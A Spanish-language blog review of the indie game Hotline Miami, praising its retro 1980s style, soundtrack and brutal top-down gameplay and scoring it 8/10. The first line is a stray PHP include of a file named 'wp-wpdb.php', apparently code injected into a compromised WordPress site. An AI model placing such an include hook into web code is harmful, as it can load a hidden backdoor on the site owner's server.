if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Hotline Miami: Psicópatas Ochenteros – La Fortaleza de LeChuck

Hotline Miami: Psicópatas Ochenteros

Hoy la Fortaleza se va a teñir de sangre, casquería y un poco de ultraviolencia gratuita, a pesar de que Halloween esté ya de camino al limbo. La razón es este juego independiente para mentes curtidas del que hablaremos hoy (el código PEGI no ha querido ni acercarse a saludar). Jonatan Söderström es un desarrollador que lleva años realizando proyectos indie de manera individual y para su primer paso en el mundo comercial se ha lanzado a través de la compañía Dennaton Games con una ópera prima que rescata unos años 80 lo más sórdidos imaginables y una atmósfera bastante perturbadora. Acción delirante, estilo retro y una cruda brutalidad que no dejará indiferente a nadie es lo que ofrece su Hotline Miami.

Cierro hoy una pequeña trilogía de artículos sobre juegos independientes actuales que, a través de un buscado estilo retro, han removido conciencias y alguna que otra víscera en la comunidad de jugones. El primero fue To The Moon, un título recomendabilísimo a pesar de su corta duración y su escaso apartado jugable que apelaba a nuestros sentimientos más nobles a través de una gran historia. Seguidamente le llegó el turno a Retro City Rampage, juego muy alocado y cuyo valor principal era el de pervertir nuestra nostalgia y transformar en minijuegos a los personajes pixelados de los 90 y otros iconos de la época. De hecho, uno pensaba que a alocado a RCR no lo ganaría en un tiempo nadie (quizá Mew-Genics, el próximo proyecto del Team Meat), pero Hotline Miami… No es que sea alocado. Sádico, brutal, sanguinario… Son adjetivos más apropiados. Es asesinar o morir salvajemente  en un mundo situado temporalmente en el contexto de «Corrupción en Miami», pero sin Don Johnson, lo que sin duda es un punto a favor.

Realmente con Hotline Miami nos vamos a sentir como si estuviéramos oliendo a laca, llevando vaqueros nevados y vistiendo con hombreras. La regresión a los ochenta (pixelotes aparte) será plena por multitud de detalles, tanto en cinemáticas como en los diálogos. A ello también nos ayudará una banda sonora espectacular totalmente inmersiva. Espectacular en el sentido que cumple perfectamente su cometido: escucharla dan ganas de matar. Pero no por mala, que también sería otra forma sonora de incitar a aplastar cabezas, la música que suena mientras jugamos es otro personaje más, como la voz en la cabeza que nos anima a quemar cosas y seguir adelante a un compás 4/4 de recortada. 

Sin tele y sin cerveza… no me acuerdo como sigue…

El argumento es tan malsano como la presentación del juego, aunque en un principio no le hagamos mucho caso y pensemos que es una excusa para salir a cumplir las misiones… Sin embargo constantemente flota una extraña sensación de que algo no acaba de encajar en todo esto. Marcado sobretodo por momentos de auténtico surrealismo y delirio sin venir a cuento que juegan con el espectador/jugador. 

Somos un tipo a priori normal, de esos que alquilan cintas de VHS o BETA en el videoclub de la esquina y saludan amablemente a las vecinas en el rellano… Pero cada vez que suena el teléfono en casa y descolgamos, automáticamente nos ponemos la careta de psicópata (caretas que iremos desbloqueando y nos darán diferentes habilidades extra) y salimos a cumplir la misión encomendada al otro lado de la línea: Buscar y eliminar a la víctima seleccionada. Si os gusta el cine y estáis pensando en David Lynch o en Cronenberg, tenéis mucho ganado.

Algunas máscaras son demenciales, como no podía ser menos

 A la hora de jugar a Hotline Miami veremos la acción desde una perspectiva aérea, al estilo de los dos primeros GTA, sólo que en escenarios más reducidos. Llegaremos en coche al lugar de la futura masacre y entraremos en el domicilio acabando con todo lo que se mueva, sin ningún escrúpulo. Puede que al principio tengamos un poco de reparo en asesinar tan gratuitamente a diestro y siniestro… Pero al cabo de unos minutos nos veremos planificando nuestro asalto concienzudamente y rematando a los enemigos con una sonrisa de satisfacción en la boca (recuerdo por si hay algún remilgado en la sala que esto es ficción). Hotline Miami es adictivo, estratégico y enervante. Los enemigos no son mancos precisamente y a la que nos vean nos van a freír a tiros, como buenos narcotraficantes o proxenetas fuertemente armados que son. Y cómo odio sus perros… La dificultad es un reto y nos encontraremos en muchas fases recurriendo al «ensayo y error», hasta que logremos conseguir el objetivo de matarlos a todos.

Gráficamente, cómo el resto del juego, está dirigido a un público muy concreto. Si nos gusta el aspecto retro nos encantará. Además en ocasiones se juega con filtros de luz y decoloraciones, acentuando el aspecto paranoico de lo que ocurre. Por desgracia el diseño de personajes y escenarios es bastante monótono y repetitivo, y lo mismo pasa con la poca variedad de las misiones que jugaremos… Salvo hacia el final, las últimas misiones sí ofrecen otras ideas, que por supuesto no desvelaremos.

¿¿Muerto?? Ganas de matar aumentando…

Hotline Miami es como volver a jugar a un arcade de los 80, pero pasado de rosca. Es una experiencia que se ha de al menos probar, dejando aprensiones aparte, al igual que los otros dos juegos que conforman esta improvisada trilogía retro-independiente. Como ellos, dura bastante poco (4 horas aprox.), aunque podemos rejugarlo para mejorar nuestras puntuaciones y resolver un inquietante puzzle secreto disperso por todo el juego.

Hotline Miami se puede encontrar en Steam, GOG o en la página oficial de la compañía, y todo hace indicar que en breve estará disponible en PS Vita, dándole una alegría a la consola (además, creo que le puede sentar muy bien este tipo de juegos a la portátil de Sony). Éste es un título impactante al que no le falta estilo, de jugabilidad adictiva y argumento con tintes surrealistas. Podría haber sido más largo, o ciertamente los enemigos tener mucha mejor IA de la que tienen. Pero es divertido, perturbador y morboso. Con esas características se hace imposible no recomendarlo… Eso sí, cuidado con bajarse la tremenda banda sonora e ir escuchándola por la calle…

NOTA: 8 / 10

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Categorizado como Análisis

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

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